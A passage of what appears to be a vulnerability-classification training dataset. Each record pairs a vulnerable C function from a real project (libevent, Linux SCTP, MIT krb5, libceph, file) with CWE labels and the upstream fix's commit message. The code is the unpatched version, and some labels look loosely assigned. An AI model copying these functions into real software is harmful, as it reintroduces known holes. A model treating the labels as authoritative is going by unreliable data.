1)\n\t\t\t\t\tl++;\n\t\t\t\to += l >> 1;\n\t\t\t\tif (q + o >= e)\n\t\t\t\t\tgoto out;\n\t\t\t\to4 = o * sizeof(uint32_t);\n\t\t\t}\n\t\t\ti--;\n\t\t\tbreak;\n\t\tcase CDF_FILETIME:\n\t\t\tif (inp[i].pi_type & CDF_VECTOR)\n\t\t\t\tgoto unknown;\n\t\t\t(void)memcpy(&tp, &q[o4], sizeof(tp));\n\t\t\tinp[i].pi_tp = CDF_TOLE8((uint64_t)tp);\n\t\t\tbreak;\n\t\tcase CDF_CLIPBOARD:\n\t\t\tif (inp[i].pi_type & CDF_VECTOR)\n\t\t\t\tgoto unknown;\n\t\t\tbreak;\n\t\tdefault:\n\t\tunknown:\n\t\t\tDPRINTF((\"Don't know how to deal with %x\\n\",\n\t\t\t inp[i].pi_type));\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn 0;\nout:\n\tfree(*info);\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fixed Bug #67413 \tfileinfo: cdf_read_property_info insufficient boundary chec\n\nUpstream:\nhttps://github.com/file/file/commit/93e063ee374b6a75729df9e7201fb511e47e259d\n\nAdapted for C standard.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int fullSpeedBench(char** fileNamesTable, int nbFiles)\n{\n int fileIdx=0;\n char* orig_buff;\n# define NB_COMPRESSION_ALGORITHMS 13\n# define MINCOMPRESSIONCHAR '0'\n double totalCTime[NB_COMPRESSION_ALGORITHMS+1] = {0};\n double totalCSize[NB_COMPRESSION_ALGORITHMS+1] = {0};\n# define NB_DECOMPRESSION_ALGORITHMS 7\n# define MINDECOMPRESSIONCHAR '0'\n# define MAXDECOMPRESSIONCHAR (MINDECOMPRESSIONCHAR + NB_DECOMPRESSION_ALGORITHMS)\n static char* decompressionNames[] = { \"LZ4_decompress_fast\", \"LZ4_decompress_fast_withPrefix64k\", \"LZ4_decompress_fast_usingDict\",\n \"LZ4_decompress_safe\", \"LZ4_decompress_safe_withPrefix64k\", \"LZ4_decompress_safe_usingDict\", \"LZ4_decompress_safe_partial\" };\n double totalDTime[NB_DECOMPRESSION_ALGORITHMS+1] = {0};\n\n U64 totals = 0;\n\n\n // Loop for each file\n while (fileIdx inFileSize) benchedSize = (size_t)inFileSize;\n if (benchedSize < inFileSize)\n {\n DISPLAY(\"Not enough memory for '%s' full size; testing %i MB only...\\n\", inFileName, (int)(benchedSize>>20));\n }\n\n // Alloc\n chunkP = (struct chunkParameters*) malloc(((benchedSize / (size_t)chunkSize)+1) * sizeof(struct chunkParameters));\n orig_buff = (char*) malloc((size_t)benchedSize);\n nbChunks = (int) ((int)benchedSize / chunkSize) + 1;\n maxCompressedChunkSize = LZ4_compressBound(chunkSize);\n compressedBuffSize = nbChunks * maxCompressedChunkSize;\n compressed_buff = (char*)malloc((size_t)compressedBuffSize);\n\n\n if(!orig_buff || !compressed_buff)\n {\n DISPLAY(\"\\nError: not enough memory!\\n\");\n free(orig_buff);\n free(compressed_buff);\n free(chunkP);\n fclose(inFile);\n return 12;\n }\n\n // Init chunks data\n {\n int i;\n size_t remaining = benchedSize;\n char* in = orig_buff;\n char* out = compressed_buff;\n for (i=0; i chunkSize) { chunkP[i].origSize = chunkSize; remaining -= chunkSize; } else { chunkP[i].origSize = (int)remaining; remaining = 0; }\n chunkP[i].compressedBuffer = out; out += maxCompressedChunkSize;\n chunkP[i].compressedSize = 0;\n }\n }\n\n // Fill input buffer\n DISPLAY(\"Loading %s... \\r\", inFileName);\n readSize = fread(orig_buff, 1, benchedSize, inFile);\n fclose(inFile);\n\n if(readSize != benchedSize)\n {\n DISPLAY(\"\\nError: problem reading file '%s' !! \\n\", inFileName);\n free(orig_buff);\n free(compressed_buff);\n free(chunkP);\n return 13;\n }\n\n // Calculating input Checksum\n crcOriginal = XXH32(orig_buff, (unsigned int)benchedSize,0);\n\n\n // Bench\n {\n int loopNb, nb_loops, chunkNb, cAlgNb, dAlgNb;\n size_t cSize=0;\n double ratio=0.;\n\n DISPLAY(\"\\r%79s\\r\", \"\");\n DISPLAY(\" %s : \\n\", inFileName);\n\n // Compression Algorithms\n for (cAlgNb=1; (cAlgNb <= NB_COMPRESSION_ALGORITHMS) && (compressionTest); cAlgNb++)\n {\n char* compressorName;\n int (*compressionFunction)(const char*, char*, int);\n void* (*initFunction)(const char*) = NULL;\n double bestTime = 100000000.;\n\n if ((compressionAlgo != ALL_COMPRESSORS) && (compressionAlgo != cAlgNb)) continue;\n\n switch(cAlgNb)\n {\n case 1 : compressionFunction = LZ4_compress; compressorName = \"LZ4_compress\"; break;\n case 2 : compressionFunction = local_LZ4_compress_limitedOutput; compressorName = \"LZ4_compress_limitedOutput\"; break;\n case 3 : compressionFunction = local_LZ4_compress_withState; compressorName = \"LZ4_compress_withState\"; break;\n case 4 : compressionFunction = local_LZ4_compress_limitedOutput_withState; compressorName = \"LZ4_compress_limitedOutput_withState\"; break;\n case 5 : compressionFunction = local_LZ4_compress_continue; initFunction = LZ4_create; compressorName = \"LZ4_compress_continue\"; break;\n case 6 : compressionFunction = local_LZ4_compress_limitedOutput_continue; initFunction = LZ4_create; compressorName = \"LZ4_compress_limitedOutput_continue\"; break;\n case 7 : compressionFunction = LZ4_compressHC; compressorName = \"LZ4_compressHC\"; break;\n case 8 : compressionFunction = local_LZ4_compressHC_limitedOutput; compressorName = \"LZ4_compressHC_limitedOutput\"; break;\n case 9 : compressionFunction = local_LZ4_compressHC_withStateHC; compressorName = \"LZ4_compressHC_withStateHC\"; break;\n case 10: compressionFunction = local_LZ4_compressHC_limitedOutput_withStateHC; compressorName = \"LZ4_compressHC_limitedOutput_withStateHC\"; break;\n case 11: compressionFunction = local_LZ4_compressHC_continue; initFunction = LZ4_createHC; compressorName = \"LZ4_compressHC_continue\"; break;\n case 12: compressionFunction = local_LZ4_compressHC_limitedOutput_continue; initFunction = LZ4_createHC; compressorName = \"LZ4_compressHC_limitedOutput_continue\"; break;\n case 13: compressionFunction = local_LZ4_compress_forceDict; initFunction = local_LZ4_resetDictT; compressorName = \"LZ4_compress_forceDict\"; break;\n default : DISPLAY(\"ERROR ! Bad algorithm Id !! \\n\"); free(chunkP); return 1;\n }\n\n for (loopNb = 1; loopNb <= nbIterations; loopNb++)\n {\n double averageTime;\n int milliTime;\n\n PROGRESS(\"%1i-%-26.26s : %9i ->\\r\", loopNb, compressorName, (int)benchedSize);\n { size_t i; for (i=0; i %9i (%5.2f%%),%7.1f MB/s\\r\", loopNb, compressorName, (int)benchedSize, (int)cSize, ratio, (double)benchedSize / bestTime / 1000.);\n }\n\n if (ratio<100.)\n DISPLAY(\"%-28.28s : %9i -> %9i (%5.2f%%),%7.1f MB/s\\n\", compressorName, (int)benchedSize, (int)cSize, ratio, (double)benchedSize / bestTime / 1000.);\n else\n DISPLAY(\"%-28.28s : %9i -> %9i (%5.1f%%),%7.1f MB/s\\n\", compressorName, (int)benchedSize, (int)cSize, ratio, (double)benchedSize / bestTime / 1000.);\n\n totalCTime[cAlgNb] += bestTime;\n totalCSize[cAlgNb] += cSize;\n }\n\n // Prepare layout for decompression\n for (chunkNb=0; chunkNb\\r\", loopNb, dName, (int)benchedSize);\n\n nb_loops = 0;\n milliTime = BMK_GetMilliStart();\n while(BMK_GetMilliStart() == milliTime);\n milliTime = BMK_GetMilliStart();\n while(BMK_GetMilliSpan(milliTime) < TIMELOOP)\n {\n for (chunkNb=0; chunkNb %7.1f MB/s\\r\", loopNb, dName, (int)benchedSize, (double)benchedSize / bestTime / 1000.);\n\n // CRC Checking\n crcDecoded = XXH32(orig_buff, (int)benchedSize, 0);\n if (crcOriginal!=crcDecoded) { DISPLAY(\"\\n!!! WARNING !!! %14s : Invalid Checksum : %x != %x\\n\", inFileName, (unsigned)crcOriginal, (unsigned)crcDecoded); exit(1); }\n }\n\n DISPLAY(\"%-31.31s :%10i -> %7.1f MB/s\\n\", dName, (int)benchedSize, (double)benchedSize / bestTime / 1000.);\n\n totalDTime[dAlgNb] += bestTime;\n }\n\n totals += benchedSize;\n }\n\n free(orig_buff);\n free(compressed_buff);\n free(chunkP);\n }\n\n if (BMK_pause) { printf(\"press enter...\\n\"); getchar(); }\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fixed : issue 52 (reported by Ludwig Strigeus)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void sctp_association_free(struct sctp_association *asoc)\n{\n\tstruct sock *sk = asoc->base.sk;\n\tstruct sctp_transport *transport;\n\tstruct list_head *pos, *temp;\n\tint i;\n\n\t/* Only real associations count against the endpoint, so\n\t * don't bother for if this is a temporary association.\n\t */\n\tif (!asoc->temp) {\n\t\tlist_del(&asoc->asocs);\n\n\t\t/* Decrement the backlog value for a TCP-style listening\n\t\t * socket.\n\t\t */\n\t\tif (sctp_style(sk, TCP) && sctp_sstate(sk, LISTENING))\n\t\t\tsk->sk_ack_backlog--;\n\t}\n\n\t/* Mark as dead, so other users can know this structure is\n\t * going away.\n\t */\n\tasoc->base.dead = true;\n\n\t/* Dispose of any data lying around in the outqueue. */\n\tsctp_outq_free(&asoc->outqueue);\n\n\t/* Dispose of any pending messages for the upper layer. */\n\tsctp_ulpq_free(&asoc->ulpq);\n\n\t/* Dispose of any pending chunks on the inqueue. */\n\tsctp_inq_free(&asoc->base.inqueue);\n\n\tsctp_tsnmap_free(&asoc->peer.tsn_map);\n\n\t/* Free ssnmap storage. */\n\tsctp_ssnmap_free(asoc->ssnmap);\n\n\t/* Clean up the bound address list. */\n\tsctp_bind_addr_free(&asoc->base.bind_addr);\n\n\t/* Do we need to go through all of our timers and\n\t * delete them? To be safe we will try to delete all, but we\n\t * should be able to go through and make a guess based\n\t * on our state.\n\t */\n\tfor (i = SCTP_EVENT_TIMEOUT_NONE; i < SCTP_NUM_TIMEOUT_TYPES; ++i) {\n\t\tif (del_timer(&asoc->timers[i]))\n\t\t\tsctp_association_put(asoc);\n\t}\n\n\t/* Free peer's cached cookie. */\n\tkfree(asoc->peer.cookie);\n\tkfree(asoc->peer.peer_random);\n\tkfree(asoc->peer.peer_chunks);\n\tkfree(asoc->peer.peer_hmacs);\n\n\t/* Release the transport structures. */\n\tlist_for_each_safe(pos, temp, &asoc->peer.transport_addr_list) {\n\t\ttransport = list_entry(pos, struct sctp_transport, transports);\n\t\tlist_del_rcu(pos);\n\t\tsctp_transport_free(transport);\n\t}\n\n\tasoc->peer.transport_count = 0;\n\n\tsctp_asconf_queue_teardown(asoc);\n\n\t/* Free pending address space being deleted */\n\tif (asoc->asconf_addr_del_pending != NULL)\n\t\tkfree(asoc->asconf_addr_del_pending);\n\n\t/* AUTH - Free the endpoint shared keys */\n\tsctp_auth_destroy_keys(&asoc->endpoint_shared_keys);\n\n\t/* AUTH - Free the association shared key */\n\tsctp_auth_key_put(asoc->asoc_shared_key);\n\n\tsctp_association_put(asoc);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-241'], 'message': 'sctp: Fix sk_ack_backlog wrap-around problem\n\nConsider the scenario:\nFor a TCP-style socket, while processing the COOKIE_ECHO chunk in\nsctp_sf_do_5_1D_ce(), after it has passed a series of sanity check,\na new association would be created in sctp_unpack_cookie(), but afterwards,\nsome processing maybe failed, and sctp_association_free() will be called to\nfree the previously allocated association, in sctp_association_free(),\nsk_ack_backlog value is decremented for this socket, since the initial\nvalue for sk_ack_backlog is 0, after the decrement, it will be 65535,\na wrap-around problem happens, and if we want to establish new associations\nafterward in the same socket, ABORT would be triggered since sctp deem the\naccept queue as full.\nFix this issue by only decrementing sk_ack_backlog for associations in\nthe endpoint's list.\n\nFix-suggested-by: Neil Horman \nSigned-off-by: Xufeng Zhang \nAcked-by: Daniel Borkmann \nAcked-by: Vlad Yasevich \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: init_ctx_reselect(OM_uint32 *minor_status, spnego_gss_ctx_id_t sc,\n\t\t OM_uint32 acc_negState, gss_OID supportedMech,\n\t\t gss_buffer_t *responseToken, gss_buffer_t *mechListMIC,\n\t\t OM_uint32 *negState, send_token_flag *tokflag)\n{\n\tOM_uint32 tmpmin;\n\tsize_t i;\n\n\tgeneric_gss_release_oid(&tmpmin, &sc->internal_mech);\n\tgss_delete_sec_context(&tmpmin, &sc->ctx_handle,\n\t\t\t GSS_C_NO_BUFFER);\n\n\t/* Find supportedMech in sc->mech_set. */\n\tfor (i = 0; i < sc->mech_set->count; i++) {\n\t\tif (g_OID_equal(supportedMech, &sc->mech_set->elements[i]))\n\t\t\tbreak;\n\t}\n\tif (i == sc->mech_set->count)\n\t\treturn GSS_S_DEFECTIVE_TOKEN;\n\tsc->internal_mech = &sc->mech_set->elements[i];\n\n\t/*\n\t * Windows 2003 and earlier don't correctly send a\n\t * negState of request-mic when counter-proposing a\n\t * mechanism. They probably don't handle mechListMICs\n\t * properly either.\n\t */\n\tif (acc_negState != REQUEST_MIC)\n\t\treturn GSS_S_DEFECTIVE_TOKEN;\n\n\tsc->mech_complete = 0;\n\tsc->mic_reqd = 1;\n\t*negState = REQUEST_MIC;\n\t*tokflag = CONT_TOKEN_SEND;\n\treturn GSS_S_CONTINUE_NEEDED;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Fix double-free in SPNEGO [CVE-2014-4343]\n\nIn commit cd7d6b08 (\"Verify acceptor's mech in SPNEGO initiator\") the\npointer sc->internal_mech became an alias into sc->mech_set->elements,\nwhich should be considered constant for the duration of the SPNEGO\ncontext. So don't free it.\n\nCVE-2014-4343:\n\nIn MIT krb5 releases 1.10 and newer, an unauthenticated remote\nattacker with the ability to spoof packets appearing to be from a\nGSSAPI acceptor can cause a double-free condition in GSSAPI initiators\n(clients) which are using the SPNEGO mechanism, by returning a\ndifferent underlying mechanism than was proposed by the initiator. At\nthis stage of the negotiation, the acceptor is unauthenticated, and\nthe acceptor's response could be spoofed by an attacker with the\nability to inject traffic to the initiator.\n\nHistorically, some double-free vulnerabilities can be translated into\nremote code execution, though the necessary exploits must be tailored\nto the individual application and are usually quite\ncomplicated. Double-frees can also be exploited to cause an\napplication crash, for a denial of service. However, most GSSAPI\nclient applications are not vulnerable, as the SPNEGO mechanism is not\nused by default (when GSS_C_NO_OID is passed as the mech_type argument\nto gss_init_sec_context()). The most common use of SPNEGO is for\nHTTP-Negotiate, used in web browsers and other web clients. Most such\nclients are believed to not offer HTTP-Negotiate by default, instead\nrequiring a whitelist of sites for which it may be used to be\nconfigured. If the whitelist is configured to only allow\nHTTP-Negotiate over TLS connections (\"https://\"), a successful\nattacker must also spoof the web server's SSL certificate, due to the\nway the WWW-Authenticate header is sent in a 401 (Unauthorized)\nresponse message. Unfortunately, many instructions for enabling\nHTTP-Negotiate in common web browsers do not include a TLS\nrequirement.\n\n CVSSv2 Vector: AV:N/AC:H/Au:N/C:C/I:C/A:C/E:POC/RL:OF/RC:C\n\n[kaduk@mit.edu: CVE summary and CVSSv2 vector]\n\nticket: 7969 (new)\ntarget_version: 1.12.2\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int do_remount(struct path *path, int flags, int mnt_flags,\n\t\t void *data)\n{\n\tint err;\n\tstruct super_block *sb = path->mnt->mnt_sb;\n\tstruct mount *mnt = real_mount(path->mnt);\n\n\tif (!check_mnt(mnt))\n\t\treturn -EINVAL;\n\n\tif (path->dentry != path->mnt->mnt_root)\n\t\treturn -EINVAL;\n\n\terr = security_sb_remount(sb, data);\n\tif (err)\n\t\treturn err;\n\n\tdown_write(&sb->s_umount);\n\tif (flags & MS_BIND)\n\t\terr = change_mount_flags(path->mnt, flags);\n\telse if (!capable(CAP_SYS_ADMIN))\n\t\terr = -EPERM;\n\telse\n\t\terr = do_remount_sb(sb, flags, data, 0);\n\tif (!err) {\n\t\tlock_mount_hash();\n\t\tmnt_flags |= mnt->mnt.mnt_flags & MNT_PROPAGATION_MASK;\n\t\tmnt->mnt.mnt_flags = mnt_flags;\n\t\ttouch_mnt_namespace(mnt->mnt_ns);\n\t\tunlock_mount_hash();\n\t}\n\tup_write(&sb->s_umount);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-269'], 'message': 'mnt: Only change user settable mount flags in remount\n\nKenton Varda discovered that by remounting a\nread-only bind mount read-only in a user namespace the\nMNT_LOCK_READONLY bit would be cleared, allowing an unprivileged user\nto the remount a read-only mount read-write.\n\nCorrect this by replacing the mask of mount flags to preserve\nwith a mask of mount flags that may be changed, and preserve\nall others. This ensures that any future bugs with this mask and\nremount will fail in an easy to detect way where new mount flags\nsimply won't change.\n\nCc: stable@vger.kernel.org\nAcked-by: Serge E. Hallyn \nSigned-off-by: \"Eric W. Biederman\" '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ceph_x_decrypt(struct ceph_crypto_key *secret,\n\t\t\t void **p, void *end, void *obuf, size_t olen)\n{\n\tstruct ceph_x_encrypt_header head;\n\tsize_t head_len = sizeof(head);\n\tint len, ret;\n\n\tlen = ceph_decode_32(p);\n\tif (*p + len > end)\n\t\treturn -EINVAL;\n\n\tdout(\"ceph_x_decrypt len %d\\n\", len);\n\tret = ceph_decrypt2(secret, &head, &head_len, obuf, &olen,\n\t\t\t *p, len);\n\tif (ret)\n\t\treturn ret;\n\tif (head.struct_v != 1 || le64_to_cpu(head.magic) != CEPHX_ENC_MAGIC)\n\t\treturn -EPERM;\n\t*p += len;\n\treturn olen;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-119'], 'message': 'libceph: do not hard code max auth ticket len\n\nWe hard code cephx auth ticket buffer size to 256 bytes. This isn't\nenough for any moderate setups and, in case tickets themselves are not\nencrypted, leads to buffer overflows (ceph_x_decrypt() errors out, but\nceph_decode_copy() doesn't - it's just a memcpy() wrapper). Since the\nbuffer is allocated dynamically anyway, allocated it a bit later, at\nthe point where we know how much is going to be needed.\n\nFixes: http://tracker.ceph.com/issues/8979\n\nCc: stable@vger.kernel.org\nSigned-off-by: Ilya Dryomov \nReviewed-by: Sage Weil '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: evbuffer_add_vprintf(struct evbuffer *buf, const char *fmt, va_list ap)\n{\n\tchar *buffer;\n\tsize_t space;\n\tsize_t oldoff = buf->off;\n\tint sz;\n\tva_list aq;\n\n\t/* make sure that at least some space is available */\n\tevbuffer_expand(buf, 64);\n\tfor (;;) {\n\t\tsize_t used = buf->misalign + buf->off;\n\t\tbuffer = (char *)buf->buffer + buf->off;\n\t\tassert(buf->totallen >= used);\n\t\tspace = buf->totallen - used;\n\n#ifndef va_copy\n#define\tva_copy(dst, src)\tmemcpy(&(dst), &(src), sizeof(va_list))\n#endif\n\t\tva_copy(aq, ap);\n\n\t\tsz = evutil_vsnprintf(buffer, space, fmt, aq);\n\n\t\tva_end(aq);\n\n\t\tif (sz < 0)\n\t\t\treturn (-1);\n\t\tif ((size_t)sz < space) {\n\t\t\tbuf->off += sz;\n\t\t\tif (buf->cb != NULL)\n\t\t\t\t(*buf->cb)(buf, oldoff, buf->off, buf->cbarg);\n\t\t\treturn (sz);\n\t\t}\n\t\tif (evbuffer_expand(buf, sz + 1) == -1)\n\t\t\treturn (-1);\n\n\t}\n\t/* NOTREACHED */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Fix CVE-2014-6272 in Libevent 1.4\n\nFor this fix, we need to make sure that passing too-large inputs to\nthe evbuffer functions can't make us do bad things with the heap.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _evbuffer_expand_fast(struct evbuffer *buf, size_t datlen, int n)\n{\n\tstruct evbuffer_chain *chain = buf->last, *tmp, *next;\n\tsize_t avail;\n\tint used;\n\n\tASSERT_EVBUFFER_LOCKED(buf);\n\tEVUTIL_ASSERT(n >= 2);\n\n\tif (chain == NULL || (chain->flags & EVBUFFER_IMMUTABLE)) {\n\t\t/* There is no last chunk, or we can't touch the last chunk.\n\t\t * Just add a new chunk. */\n\t\tchain = evbuffer_chain_new(datlen);\n\t\tif (chain == NULL)\n\t\t\treturn (-1);\n\n\t\tevbuffer_chain_insert(buf, chain);\n\t\treturn (0);\n\t}\n\n\tused = 0; /* number of chains we're using space in. */\n\tavail = 0; /* how much space they have. */\n\t/* How many bytes can we stick at the end of buffer as it is? Iterate\n\t * over the chains at the end of the buffer, tring to see how much\n\t * space we have in the first n. */\n\tfor (chain = *buf->last_with_datap; chain; chain = chain->next) {\n\t\tif (chain->off) {\n\t\t\tsize_t space = (size_t) CHAIN_SPACE_LEN(chain);\n\t\t\tEVUTIL_ASSERT(chain == *buf->last_with_datap);\n\t\t\tif (space) {\n\t\t\t\tavail += space;\n\t\t\t\t++used;\n\t\t\t}\n\t\t} else {\n\t\t\t/* No data in chain; realign it. */\n\t\t\tchain->misalign = 0;\n\t\t\tavail += chain->buffer_len;\n\t\t\t++used;\n\t\t}\n\t\tif (avail >= datlen) {\n\t\t\t/* There is already enough space. Just return */\n\t\t\treturn (0);\n\t\t}\n\t\tif (used == n)\n\t\t\tbreak;\n\t}\n\n\t/* There wasn't enough space in the first n chains with space in\n\t * them. Either add a new chain with enough space, or replace all\n\t * empty chains with one that has enough space, depending on n. */\n\tif (used < n) {\n\t\t/* The loop ran off the end of the chains before it hit n\n\t\t * chains; we can add another. */\n\t\tEVUTIL_ASSERT(chain == NULL);\n\n\t\ttmp = evbuffer_chain_new(datlen - avail);\n\t\tif (tmp == NULL)\n\t\t\treturn (-1);\n\n\t\tbuf->last->next = tmp;\n\t\tbuf->last = tmp;\n\t\t/* (we would only set last_with_data if we added the first\n\t\t * chain. But if the buffer had no chains, we would have\n\t\t * just allocated a new chain earlier) */\n\t\treturn (0);\n\t} else {\n\t\t/* Nuke _all_ the empty chains. */\n\t\tint rmv_all = 0; /* True iff we removed last_with_data. */\n\t\tchain = *buf->last_with_datap;\n\t\tif (!chain->off) {\n\t\t\tEVUTIL_ASSERT(chain == buf->first);\n\t\t\trmv_all = 1;\n\t\t\tavail = 0;\n\t\t} else {\n\t\t\tavail = (size_t) CHAIN_SPACE_LEN(chain);\n\t\t\tchain = chain->next;\n\t\t}\n\n\n\t\tfor (; chain; chain = next) {\n\t\t\tnext = chain->next;\n\t\t\tEVUTIL_ASSERT(chain->off == 0);\n\t\t\tevbuffer_chain_free(chain);\n\t\t}\n\t\ttmp = evbuffer_chain_new(datlen - avail);\n\t\tif (tmp == NULL) {\n\t\t\tif (rmv_all) {\n\t\t\t\tZERO_CHAIN(buf);\n\t\t\t} else {\n\t\t\t\tbuf->last = *buf->last_with_datap;\n\t\t\t\t(*buf->last_with_datap)->next = NULL;\n\t\t\t}\n\t\t\treturn (-1);\n\t\t}\n\n\t\tif (rmv_all) {\n\t\t\tbuf->first = buf->last = tmp;\n\t\t\tbuf->last_with_datap = &buf->first;\n\t\t} else {\n\t\t\t(*buf->last_with_datap)->next = tmp;\n\t\t\tbuf->last = tmp;\n\t\t}\n\t\treturn (0);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Fix CVE-2014-6272 in Libevent 2.0\n\nFor this fix, we need to make sure that passing too-large inputs to\nthe evbuffer functions can't make us do bad things with the heap.\n\nAlso, lower the maximum chunk size to the lower of off_t, size_t maximum.\n\nThis is necessary since otherwise we could get into an infinite loop\nif we make a chunk that 'misalign' cannot index into.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: get_n_bytes_readable_on_socket(evutil_socket_t fd)\n{\n#if defined(FIONREAD) && defined(_WIN32)\n\tunsigned long lng = EVBUFFER_MAX_READ;\n\tif (ioctlsocket(fd, FIONREAD, &lng) < 0)\n\t\treturn -1;\n\treturn (int)lng;\n#elif defined(FIONREAD)\n\tint n = EVBUFFER_MAX_READ;\n\tif (ioctl(fd, FIONREAD, &n) < 0)\n\t\treturn -1;\n\treturn n;\n#else\n\treturn EVBUFFER_MAX_READ;\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Fix CVE-2014-6272 in Libevent 2.1\n\nFor this fix, we need to make sure that passing too-large inputs to\nthe evbuffer functions can't make us do bad things with the heap.\n\nAlso, lower the maximum chunk size to the lower of off_t, size_t maximum.\n\nThis is necessary since otherwise we could get into an infinite loop\nif we make a chunk that 'misalign' cannot index into.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: sctp_disposition_t sctp_sf_do_asconf_ack(struct net *net,\n\t\t\t\t\t const struct sctp_endpoint *ep,\n\t\t\t\t\t const struct sctp_association *asoc,\n\t\t\t\t\t const sctp_subtype_t type, void *arg,\n\t\t\t\t\t sctp_cmd_seq_t *commands)\n{\n\tstruct sctp_chunk\t*asconf_ack = arg;\n\tstruct sctp_chunk\t*last_asconf = asoc->addip_last_asconf;\n\tstruct sctp_chunk\t*abort;\n\tstruct sctp_paramhdr\t*err_param = NULL;\n\tsctp_addiphdr_t\t\t*addip_hdr;\n\t__u32\t\t\tsent_serial, rcvd_serial;\n\n\tif (!sctp_vtag_verify(asconf_ack, asoc)) {\n\t\tsctp_add_cmd_sf(commands, SCTP_CMD_REPORT_BAD_TAG,\n\t\t\t\tSCTP_NULL());\n\t\treturn sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);\n\t}\n\n\t/* ADD-IP, Section 4.1.2:\n\t * This chunk MUST be sent in an authenticated way by using\n\t * the mechanism defined in [I-D.ietf-tsvwg-sctp-auth]. If this chunk\n\t * is received unauthenticated it MUST be silently discarded as\n\t * described in [I-D.ietf-tsvwg-sctp-auth].\n\t */\n\tif (!net->sctp.addip_noauth && !asconf_ack->auth)\n\t\treturn sctp_sf_discard_chunk(net, ep, asoc, type, arg, commands);\n\n\t/* Make sure that the ADDIP chunk has a valid length. */\n\tif (!sctp_chunk_length_valid(asconf_ack, sizeof(sctp_addip_chunk_t)))\n\t\treturn sctp_sf_violation_chunklen(net, ep, asoc, type, arg,\n\t\t\t\t\t\t commands);\n\n\taddip_hdr = (sctp_addiphdr_t *)asconf_ack->skb->data;\n\trcvd_serial = ntohl(addip_hdr->serial);\n\n\t/* Verify the ASCONF-ACK chunk before processing it. */\n\tif (!sctp_verify_asconf(asoc,\n\t (sctp_paramhdr_t *)addip_hdr->params,\n\t (void *)asconf_ack->chunk_end,\n\t &err_param))\n\t\treturn sctp_sf_violation_paramlen(net, ep, asoc, type, arg,\n\t\t\t (void *)err_param, commands);\n\n\tif (last_asconf) {\n\t\taddip_hdr = (sctp_addiphdr_t *)last_asconf->subh.addip_hdr;\n\t\tsent_serial = ntohl(addip_hdr->serial);\n\t} else {\n\t\tsent_serial = asoc->addip_serial - 1;\n\t}\n\n\t/* D0) If an endpoint receives an ASCONF-ACK that is greater than or\n\t * equal to the next serial number to be used but no ASCONF chunk is\n\t * outstanding the endpoint MUST ABORT the association. Note that a\n\t * sequence number is greater than if it is no more than 2^^31-1\n\t * larger than the current sequence number (using serial arithmetic).\n\t */\n\tif (ADDIP_SERIAL_gte(rcvd_serial, sent_serial + 1) &&\n\t !(asoc->addip_last_asconf)) {\n\t\tabort = sctp_make_abort(asoc, asconf_ack,\n\t\t\t\t\tsizeof(sctp_errhdr_t));\n\t\tif (abort) {\n\t\t\tsctp_init_cause(abort, SCTP_ERROR_ASCONF_ACK, 0);\n\t\t\tsctp_add_cmd_sf(commands, SCTP_CMD_REPLY,\n\t\t\t\t\tSCTP_CHUNK(abort));\n\t\t}\n\t\t/* We are going to ABORT, so we might as well stop\n\t\t * processing the rest of the chunks in the packet.\n\t\t */\n\t\tsctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,\n\t\t\t\tSCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));\n\t\tsctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());\n\t\tsctp_add_cmd_sf(commands, 